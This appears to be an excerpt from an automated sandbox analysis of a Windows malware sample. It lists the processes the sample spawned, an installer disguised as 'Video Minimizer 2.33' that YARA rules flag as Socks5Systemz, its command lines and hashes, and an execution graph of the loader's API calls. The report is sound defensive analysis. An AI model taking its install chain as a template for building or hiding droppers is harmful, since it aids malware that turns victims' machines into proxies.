                                                                                                                                                                                                                                    Start date:12/12/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                                                                                                                                                    Imagebase:0x7ff68dea0000
                                                                                                                                                                                                                                    File size:55'320 bytes
                                                                                                                                                                                                                                    MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Reputation:high
                                                                                                                                                                                                                                    Has exited:false

                                                                                                                                                                                                                                    Target ID:3
                                                                                                                                                                                                                                    Start time:10:47:04
                                                                                                                                                                                                                                    Start date:12/12/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\System32\svchost.exe -k wsappx -p -s ClipSVC
                                                                                                                                                                                                                                    Imagebase:0x7ff68dea0000
                                                                                                                                                                                                                                    File size:55'320 bytes
                                                                                                                                                                                                                                    MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Reputation:high
                                                                                                                                                                                                                                    Has exited:false

                                                                                                                                                                                                                                    Target ID:4
                                                                                                                                                                                                                                    Start time:10:47:04
                                                                                                                                                                                                                                    Start date:12/12/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
                                                                                                                                                                                                                                    Imagebase:0x7ff68dea0000
                                                                                                                                                                                                                                    File size:55'320 bytes
                                                                                                                                                                                                                                    MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Reputation:high
                                                                                                                                                                                                                                    Has exited:false

                                                                                                                                                                                                                                    Target ID:5
                                                                                                                                                                                                                                    Start time:10:47:04
                                                                                                                                                                                                                                    Start date:12/12/2024
                                                                                                                                                                                                                                    Path:C:\Users\user\Desktop\file.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                                    Commandline:"C:\Users\user\Desktop\file.exe"
                                                                                                                                                                                                                                    Imagebase:0x400000
                                                                                                                                                                                                                                    File size:1'985'024 bytes
                                                                                                                                                                                                                                    MD5 hash:5A3F6AA1107D91BDC0430E2A0C1F4F26
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Reputation:low
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    Target ID:9
                                                                                                                                                                                                                                    Start time:10:48:04
                                                                                                                                                                                                                                    Start date:12/12/2024
                                                                                                                                                                                                                                    Path:C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
                                                                                                                                                                                                                                    Imagebase:0x7ff7b1670000
                                                                                                                                                                                                                                    File size:468'120 bytes
                                                                                                                                                                                                                                    MD5 hash:B3676839B2EE96983F9ED735CD044159
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Reputation:high
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    Target ID:10
                                                                                                                                                                                                                                    Start time:10:48:04
                                                                                                                                                                                                                                    Start date:12/12/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                    Imagebase:0x7ff68cce0000
                                                                                                                                                                                                                                    File size:862'208 bytes
                                                                                                                                                                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Reputation:high
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    Target ID:11
                                                                                                                                                                                                                                    Start time:10:48:07
                                                                                                                                                                                                                                    Start date:12/12/2024
                                                                                                                                                                                                                                    Path:C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                                    Commandline:"C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe"
                                                                                                                                                                                                                                    Imagebase:0x400000
                                                                                                                                                                                                                                    File size:4'250'887 bytes
                                                                                                                                                                                                                                    MD5 hash:23619F330C57AF62DE72DFFEBADBF07B
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Reputation:low
                                                                                                                                                                                                                                    Has exited:false

                                                                                                                                                                                                                                    Target ID:12
                                                                                                                                                                                                                                    Start time:10:48:07
                                                                                                                                                                                                                                    Start date:12/12/2024
                                                                                                                                                                                                                                    Path:C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp
                                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                                    Commandline:"C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp" /SL5="$20138,4002138,54272,C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe"
                                                                                                                                                                                                                                    Imagebase:0x400000
                                                                                                                                                                                                                                    File size:705'536 bytes
                                                                                                                                                                                                                                    MD5 hash:CC7B0A71A44CA4000DE2656C0486FD86
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Reputation:low
                                                                                                                                                                                                                                    Has exited:false

                                                                                                                                                                                                                                    Target ID:13
                                                                                                                                                                                                                                    Start time:10:48:09
                                                                                                                                                                                                                                    Start date:12/12/2024
                                                                                                                                                                                                                                    Path:C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                                    Commandline:"C:\Windows\system32\schtasks.exe" /Delete /F /TN "video_minimizer_12124"
                                                                                                                                                                                                                                    Imagebase:0x760000
                                                                                                                                                                                                                                    File size:187'904 bytes
                                                                                                                                                                                                                                    MD5 hash:48C2FE20575769DE916F48EF0676A965
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Reputation:high
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    Target ID:14
                                                                                                                                                                                                                                    Start time:10:48:09
                                                                                                                                                                                                                                    Start date:12/12/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                    Imagebase:0x7ff68cce0000
                                                                                                                                                                                                                                    File size:862'208 bytes
                                                                                                                                                                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Reputation:high
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    Target ID:15
                                                                                                                                                                                                                                    Start time:10:48:09
                                                                                                                                                                                                                                    Start date:12/12/2024
                                                                                                                                                                                                                                    Path:C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                                    Commandline:"C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe" -i
                                                                                                                                                                                                                                    Imagebase:0x400000
                                                                                                                                                                                                                                    File size:3'335'664 bytes
                                                                                                                                                                                                                                    MD5 hash:BDDC95BF37B6EB97D516948CEC1CB311
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Yara matches:
                                                                                                                                                                                                                                    • Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 0000000F.00000000.1931743416.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Author: Joe Security
                                                                                                                                                                                                                                    • Rule: JoeSecurity_Socks5Systemz, Description: Yara detected Socks5Systemz, Source: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                    • Rule: JoeSecurity_Socks5Systemz, Description: Yara detected Socks5Systemz, Source: 0000000F.00000002.2537335881.0000000002CD9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                    • Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe, Author: Joe Security
                                                                                                                                                                                                                                    Has exited:false

                                                                                                                                                                                                                                    Target ID:16
                                                                                                                                                                                                                                    Start time:10:48:11
                                                                                                                                                                                                                                    Start date:12/12/2024
                                                                                                                                                                                                                                    Path:C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:"C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe"
                                                                                                                                                                                                                                    Imagebase:0xf00000
                                                                                                                                                                                                                                    File size:4'608 bytes
                                                                                                                                                                                                                                    MD5 hash:F328A95046E3A2514C36347EAEC911C0
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Antivirus matches:
                                                                                                                                                                                                                                    • Detection: 54%, ReversingLabs
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    Target ID:17
                                                                                                                                                                                                                                    Start time:10:48:27
                                                                                                                                                                                                                                    Start date:12/12/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\System32\svchost.exe -k WerSvcGroup
                                                                                                                                                                                                                                    Imagebase:0x7ff68dea0000
                                                                                                                                                                                                                                    File size:55'320 bytes
                                                                                                                                                                                                                                    MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:false

                                                                                                                                                                                                                                    Target ID:18
                                                                                                                                                                                                                                    Start time:10:48:27
                                                                                                                                                                                                                                    Start date:12/12/2024
                                                                                                                                                                                                                                    Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                                    Commandline:C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 6784 -ip 6784
                                                                                                                                                                                                                                    Imagebase:0xc50000
                                                                                                                                                                                                                                    File size:483'680 bytes
                                                                                                                                                                                                                                    MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    Target ID:19
                                                                                                                                                                                                                                    Start time:10:48:27
                                                                                                                                                                                                                                    Start date:12/12/2024
                                                                                                                                                                                                                                    Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                                    Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 6784 -s 584
                                                                                                                                                                                                                                    Imagebase:0xc50000
                                                                                                                                                                                                                                    File size:483'680 bytes
                                                                                                                                                                                                                                    MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    Target ID:21
                                                                                                                                                                                                                                    Start time:10:48:28
                                                                                                                                                                                                                                    Start date:12/12/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                                                                                                                                                    Imagebase:0x7ff68dea0000
                                                                                                                                                                                                                                    File size:55'320 bytes
                                                                                                                                                                                                                                    MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:false

                                                                                                                                                                                                                                    Reset < >

                                                                                                                                                                                                                                      Execution Graph

                                                                                                                                                                                                                                      Execution Coverage:21.3%
                                                                                                                                                                                                                                      Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                                                                      Signature Coverage:2.5%
                                                                                                                                                                                                                                      Total number of Nodes:1462
                                                                                                                                                                                                                                      Total number of Limit Nodes:16
                                                                                                                                                                                                                                      execution_graph 4978 409c40 5019 4030dc 4978->5019 4980 409c56 5022 4042e8 4980->5022 4982 409c5b 5025 40457c GetModuleHandleA GetProcAddress 4982->5025 4986 409c65 5033 4065c8 4986->5033 4988 409c6a 5042 4090a4 GetModuleHandleA GetProcAddress GetModuleHandleA GetProcAddress 4988->5042 5005 409d43 5104 4074a0 5005->5104 5007 409d05 5007->5005 5137 409aa0 5007->5137 5008 409d84 5108 407a28 5008->5108 5009 409d69 5009->5008 5010 409aa0 18 API calls 5009->5010 5010->5008 5012 409da9 5118 408b08 5012->5118 5016 409def 5017 408b08 35 API calls 5016->5017 5018 409e28 5016->5018 5017->5016 5147 403094 5019->5147 5021 4030e1 GetModuleHandleA GetCommandLineA 5021->4980 5024 404323 5022->5024 5148 403154 5022->5148 5024->4982 5026 404598 5025->5026 5027 40459f GetProcAddress 5025->5027 5026->5027 5028 4045b5 GetProcAddress 5027->5028 5029 4045ae 5027->5029 5030 4045c4 SetProcessDEPPolicy 5028->5030 5031 4045c8 5028->5031 5029->5028 5030->5031 5032 404624 6F551CD0 5031->5032 5032->4986 5161 405ca8 5033->5161 5043 4090f7 5042->5043 5323 406fa0 SetErrorMode 5043->5323 5048 403198 4 API calls 5049 40913c 5048->5049 5050 409b30 GetSystemInfo VirtualQuery 5049->5050 5051 409be4 5050->5051 5054 409b5a 5050->5054 5056 409768 5051->5056 5052 409bc5 VirtualQuery 5052->5051 5052->5054 5053 409b84 VirtualProtect 5053->5054 5054->5051 5054->5052 5054->5053 5055 409bb3 VirtualProtect 5054->5055 5055->5052 5333 406bd0 GetCommandLineA 5056->5333 5058 409825 5059 4031b8 4 API calls 5058->5059 5061 40983f 5059->5061 5060 406c2c 20 API calls 5063 409785 5060->5063 5064 406c2c 5061->5064 5062 403454 18 API calls 5062->5063 5063->5058 5063->5060 5063->5062 5065 406c53 GetModuleFileNameA 5064->5065 5066 406c77 GetCommandLineA 5064->5066 5067 403278 18 API calls 5065->5067 5070 406c7c 5066->5070 5068 406c75 5067->5068 5071 406ca4 5068->5071 5069 406c81 5072 403198 4 API calls 5069->5072 5070->5069 5073 406af0 18 API calls 5070->5073 5074 406c89 5070->5074 5075 403198 4 API calls 5071->5075 5072->5074 5073->5070 5077 40322c 4 API calls 5074->5077 5076 406cb9 5075->5076 5078 4031e8 5076->5078 5077->5071 5079 4031ec 5078->5079 5082 4031fc 5078->5082 5081 403254 18 API calls 5079->5081 5079->5082 5080 403228 5084 4074e0 5080->5084 5081->5082 5082->5080 5083 4025ac 4 API calls 5082->5083 5083->5080 5085 4074ea 5084->5085 5354 407576 5085->5354 5357 407578 5085->5357 5086 407516 5088 40752a 5086->5088 5360 40748c GetLastError 5086->5360 5091 409bec FindResourceA 5088->5091 5092 409c01 5091->5092 5093 409c06 SizeofResource 5091->5093 5094 409aa0 18 API calls 5092->5094 5095 409c13 5093->5095 5096 409c18 LoadResource 5093->5096 5094->5093 5097 409aa0 18 API calls 5095->5097 5098 409c26 5096->5098 5099 409c2b LockResource 5096->5099 5097->5096 5100 409aa0 18 API calls 5098->5100 5101 409c37 5099->5101 5102 409c3c 5099->5102 5100->5099 5103 409aa0 18 API calls 5101->5103 5102->5007 5134 407918 5102->5134 5103->5102 5105 4074b4 5104->5105 5106 4074c4 5105->5106 5107 4073ec 34 API calls 5105->5107 5106->5009 5107->5106 5109 407a35 5108->5109 5110 405890 18 API calls 5109->5110 5111 407a89 5109->5111 5110->5111 5112 407918 InterlockedExchange 5111->5112 5113 407a9b 5112->5113 5114 405890 18 API calls 5113->5114 5115 407ab1 5113->5115 5114->5115 5116 407af4 5115->5116 5117 405890 18 API calls 5115->5117 5116->5012 5117->5116 5132 408b39 5118->5132 5133 408b82 5118->5133 5119 407cb8 35 API calls 5119->5132 5120 408bcd 5468 407cb8 5120->5468 5122 407cb8 35 API calls 5122->5133 5124 408be4 5126 4031b8 4 API calls 5124->5126 5125 4034f0 18 API calls 5125->5133 5127 408bfe 5126->5127 5144 404c20 5127->5144 5128 403420 18 API calls 5128->5132 5129 4031e8 18 API calls 5129->5132 5130 403420 18 API calls 5130->5133 5131 4031e8 18 API calls 5131->5133 5132->5119 5132->5128 5132->5129 5132->5133 5459 4034f0 5132->5459 5133->5120 5133->5122 5133->5125 5133->5130 5133->5131 5494 4078c4 5134->5494 5138 409ac1 5137->5138 5139 409aa9 5137->5139 5141 405890 18 API calls 5138->5141 5140 405890 18 API calls 5139->5140 5142 409abb 5140->5142 5143 409ad2 5141->5143 5142->5005 5143->5005 5145 402594 18 API calls 5144->5145 5146 404c2b 5145->5146 5146->5016 5147->5021 5149 403164 5148->5149 5150 40318c TlsGetValue 5148->5150 5149->5024 5151 403196 5150->5151 5152 40316f 5150->5152 5151->5024 5156 40310c 5152->5156 5154 403174 TlsGetValue 5155 403184 5154->5155 5155->5024 5157 403120 LocalAlloc 5156->5157 5158 403116 5156->5158 5159 40313e TlsSetValue 5157->5159 5160 403132 5157->5160 5158->5157 5159->5160 5160->5154 5233 405940 5161->5233 5164 405280 GetSystemDefaultLCID 5168 4052b6 5164->5168 5165 40520c 19 API calls 5165->5168 5166 4031e8 18 API calls 5166->5168 5167 404cdc 19 API calls 5167->5168 5168->5165 5168->5166 5168->5167 5172 405318 5168->5172 5169 4031e8 18 API calls 5169->5172 5170 404cdc 19 API calls 5170->5172 5171 40520c 19 API calls 5171->5172 5172->5169 5172->5170 5172->5171 5173 40539b 5172->5173 5301 4031b8 5173->5301 5176 4053c4 GetSystemDefaultLCID 5305 40520c GetLocaleInfoA 5176->5305 5179 4031e8 18 API calls 5180 405404 5179->5180 5181 40520c 19 API calls 5180->5181 5182 405419 5181->5182 5183 40520c 19 API calls 5182->5183 5184 40543d 5183->5184 5311 405258 GetLocaleInfoA 5184->5311 5187 405258 GetLocaleInfoA 5188 40546d 5187->5188 5189 40520c 19 API calls 5188->5189 5190 405487 5189->5190 5191 405258 GetLocaleInfoA 5190->5191 5192 4054a4 5191->5192 5193 40520c 19 API calls 5192->5193 5194 4054be 5193->5194 5195 4031e8 18 API calls 5194->5195 5196 4054cb 5195->5196 5197 40520c 19 API calls 5196->5197 5198 4054e0 5197->5198 5199 4031e8 18 API calls 5198->5199 5200 4054ed 5199->5200 5201 405258 GetLocaleInfoA 5200->5201 5202 4054fb 5201->5202 5203 40520c 19 API calls 5202->5203 5204 405515 5203->5204 5205 4031e8 18 API calls 5204->5205 5206 405522 5205->5206 5207 40520c 19 API calls 5206->5207 5208 405537 5207->5208 5209 4031e8 18 API calls 5208->5209 5210 405544 5209->5210 5211 40520c 19 API calls 5210->5211 5212 405559 5211->5212 5213 405576 5212->5213 5214 405567 5212->5214 5216 40322c 4 API calls 5213->5216 5319 40322c 5214->5319 5217 405574 5216->5217 5218 40520c 19 API calls 5217->5218 5219 405598 5218->5219 5220 4055b5 5219->5220 5221 4055a6 5219->5221 5223 403198 4 API calls 5220->5223 5222 40322c 4 API calls 5221->5222 5224 4055b3 5222->5224 5223->5224 5313 4033b4 5224->5313 5226 4055d7 5227 4033b4 18 API calls 5226->5227 5228 4055f1 5227->5228 5229 4031b8 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 5228->5229 5230 40560b 5229->5230 5231 405cf4 GetVersionExA 5230->5231 5232 405d0b 5231->5232 5232->4988 5234 40594c 5233->5234 5241 404cdc LoadStringA 5234->5241 5237 4031e8 18 API calls 5238 40597d 5237->5238 5244 403198 5238->5244 5248 403278 5241->5248 5245 4031b7 5244->5245 5246 40319e 5244->5246 5245->5164 5246->5245 5297 4025ac 5246->5297 5253 403254 5248->5253 5250 403288 5251 403198 4 API calls 5250->5251 5252 4032a0 5251->5252 5252->5237 5254 403274 5253->5254 5255 403258 5253->5255 5254->5250 5258 402594 5255->5258 5259 402598 5258->5259 5262 4025a2 5258->5262 5264 401fd4 5259->5264 5260 40259e 5261 403154 4 API calls 5260->5261 5260->5262 5261->5262 5262->5250 5265 401fe8 5264->5265 5266 401fed 5264->5266 5275 401918 RtlInitializeCriticalSection 5265->5275 5268 402012 RtlEnterCriticalSection 5266->5268 5269 40201c 5266->5269 5270 401ff1 5266->5270 5268->5269 5269->5270 5282 401ee0 5269->5282 5270->5260 5273 402147 5273->5260 5274 40213d RtlLeaveCriticalSection 5274->5273 5276 401946 5275->5276 5277 40193c RtlEnterCriticalSection 5275->5277 5278 401964 LocalAlloc 5276->5278 5277->5276 5279 40197e 5278->5279 5280 4019c3 RtlLeaveCriticalSection 5279->5280 5281 4019cd 5279->5281 5280->5281 5281->5266 5286 401ef0 5282->5286 5283 401f1c 5287 401f40 5283->5287 5293 401d00 5283->5293 5286->5283 5286->5287 5288 401e58 5286->5288 5287->5273 5287->5274 5289 4016d8 LocalAlloc VirtualAlloc VirtualFree VirtualFree VirtualAlloc 5288->5289 5290 401e68 5289->5290 5291 401dcc 9 API calls 5290->5291 5292 401e75 5290->5292 5291->5292 5292->5286 5294 401d4e 5293->5294 5295 401d1e 5293->5295 5294->5295 5296 401c68 9 API calls 5294->5296 5295->5287 5296->5295 5298 4025b0 5297->5298 5299 4025ba 5297->5299 5298->5299 5300 403154 4 API calls 5298->5300 5299->5245 5299->5299 5300->5299 5303 4031be 5301->5303 5302 4031e3 5302->5176 5303->5302 5304 4025ac 4 API calls 5303->5304 5304->5303 5306 405233 5305->5306 5307 405245 5305->5307 5308 403278 18 API calls 5306->5308 5309 40322c 4 API calls 5307->5309 5310 405243 5308->5310 5309->5310 5310->5179 5312 405274 5311->5312 5312->5187 5314 4033bc 5313->5314 5315 403254 18 API calls 5314->5315 5316 4033cf 5315->5316 5317 4031e8 18 API calls 5316->5317 5318 4033f7 5317->5318 5321 403230 5319->5321 5320 403252 5320->5217 5321->5320 5322 4025ac 4 API calls 5321->5322 5322->5320 5331 403414 5323->5331 5326 406fee 5327 407284 FormatMessageA 5326->5327 5328 4072aa 5327->5328 5329 403278 18 API calls 5328->5329 5330 4072c7 5329->5330 5330->5048 5332 403418 LoadLibraryA 5331->5332 5332->5326 5340 406af0 5333->5340 5335 406bf3 5336 406c05 5335->5336 5337 406af0 18 API calls 5335->5337 5338 403198 4 API calls 5336->5338 5337->5335 5339 406c1a 5338->5339 5339->5063 5341 406b1c 5340->5341 5342 403278 18 API calls 5341->5342 5343 406b29 5342->5343 5350 403420 5343->5350 5345 406b31 5346 4031e8 18 API calls 5345->5346 5347 406b49 5346->5347 5348 403198 4 API calls 5347->5348 5349 406b6b 5348->5349 5349->5335 5351 403426 5350->5351 5353 403437 5350->5353 5352 403254 18 API calls 5351->5352 5351->5353 5352->5353 5353->5345 5355 407578 5354->5355 5356 4075b7 CreateFileA 5355->5356 5356->5086 5358 403414 5357->5358 5359 4075b7 CreateFileA 5358->5359 5359->5086 5363 4073ec 5360->5363 5364 407284 19 API calls 5363->5364 5365 407414 5364->5365 5366 407434 5365->5366 5372 405194 5365->5372 5375 405890 5366->5375 5369 407443 5370 403198 4 API calls 5369->5370 5371 407460 5370->5371 5371->5088 5379 4051a8 5372->5379 5376 405897 5375->5376 5377 4031e8 18 API calls 5376->5377 5378 4058af 5377->5378 5378->5369 5380 4051c5 5379->5380 5387 404e58 5380->5387 5383 4051f1 5384 403278 18 API calls 5383->5384 5386 4051a3 5384->5386 5386->5366 5389 404e73 5387->5389 5388 404e85 5388->5383 5392 404be4 5388->5392 5389->5388 5395 404f7a 5389->5395 5402 404e4c 5389->5402 5393 405940 19 API calls 5392->5393 5394 404bf5 5393->5394 5394->5383 5396 404f8b 5395->5396 5399 404fd9 5395->5399 5398 40505f 5396->5398 5396->5399 5401 404ff7 5398->5401 5409 404e38 5398->5409 5399->5401 5405 404df4 5399->5405 5401->5389 5403 403198 4 API calls 5402->5403 5404 404e56 5403->5404 5404->5389 5406 404e02 5405->5406 5412 404bfc 5406->5412 5408 404e30 5408->5399 5425 4039a4 5409->5425 5415 4059b0 5412->5415 5414 404c15 5414->5408 5416 4059be 5415->5416 5417 404cdc 19 API calls 5416->5417 5418 4059e8 5417->5418 5419 405194 33 API calls 5418->5419 5420 4059f6 5419->5420 5421 4031e8 18 API calls 5420->5421 5422 405a01 5421->5422 5423 4031b8 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 5422->5423 5424 405a1b 5423->5424 5424->5414 5426 4039ab 5425->5426 5431 4038b4 5426->5431 5428 4039cb 5429 403198 4 API calls 5428->5429 5430 4039d2 5429->5430 5430->5401 5432 4038d5 5431->5432 5433 4038c8 5431->5433 5434 403934 5432->5434 5435 4038db 5432->5435 5436 403780 6 API calls 5433->5436 5439 403993 5434->5439 5440 40393b 5434->5440 5437 4038e1 5435->5437 5438 4038ee 5435->5438 5441 4038d0 5436->5441 5442 403894 6 API calls 5437->5442 5443 403894 6 API calls 5438->5443 5444 4037f4 VariantClear VariantChangeTypeEx VariantChangeTypeEx 5439->5444 5445 403941 5440->5445 5446 40394b 5440->5446 5441->5428 5442->5441 5448 4038fc 5443->5448 5444->5441 5449 403864 23 API calls 5445->5449 5447 4037f4 VariantClear VariantChangeTypeEx VariantChangeTypeEx 5446->5447 5450 40395d 5447->5450 5451 4037f4 VariantClear VariantChangeTypeEx VariantChangeTypeEx 5448->5451 5449->5441 5452 403864 23 API calls 5450->5452 5453 403917 5451->5453 5454 403976 5452->5454 5455 40374c VariantClear 5453->5455 5456 40374c VariantClear 5454->5456 5457 40392c 5455->5457 5458 40398b 5456->5458 5457->5428 5458->5428 5460 4034fd 5459->5460 5467 40352d 5459->5467 5461 403526 5460->5461 5463 403509 5460->5463 5464 403254 18 API calls 5461->5464 5462 403198 4 API calls 5465 403517 5462->5465 5474 4025c4 5463->5474 5464->5467 5465->5132 5467->5462 5469 407cd3 5468->5469 5472 407cc8 5468->5472 5478 407c5c 5469->5478 5472->5124 5473 405890 18 API calls 5473->5472 5475 4025ca 5474->5475 5476 4025dc 5475->5476 5477 403154 4 API calls 5475->5477 5476->5465 5476->5476 5477->5476 5479 407caf 5478->5479 5480 407c70 5478->5480 5479->5472 5479->5473 5480->5479 5482 407bac 5480->5482 5483 407bb7 5482->5483 5486 407bc8 5482->5486 5484 405890 18 API calls 5483->5484 5484->5486 5485 4074a0 34 API calls 5487 407bdc 5485->5487 5486->5485 5488 4074a0 34 API calls 5487->5488 5489 407bfd 5488->5489 5490 407918 InterlockedExchange 5489->5490 5491 407c12 5490->5491 5492 407c28 5491->5492 5493 405890 18 API calls 5491->5493 5492->5480 5493->5492 5495 4078d6 5494->5495 5496 4078e7 5494->5496 5497 4078db InterlockedExchange 5495->5497 5496->5007 5497->5496 6088 409e47 6089 409e6c 6088->6089 6090 4098f4 29 API calls 6089->6090 6093 409e71 6090->6093 6091 409ec4 6122 4026c4 GetSystemTime 6091->6122 6093->6091 6096 408dd8 18 API calls 6093->6096 6094 409ec9 6095 409330 46 API calls 6094->6095 6097 409ed1 6095->6097 6098 409ea0 6096->6098 6099 4031e8 18 API calls 6097->6099 6102 409ea8 MessageBoxA 6098->6102 6100 409ede 6099->6100 6101 406928 19 API calls 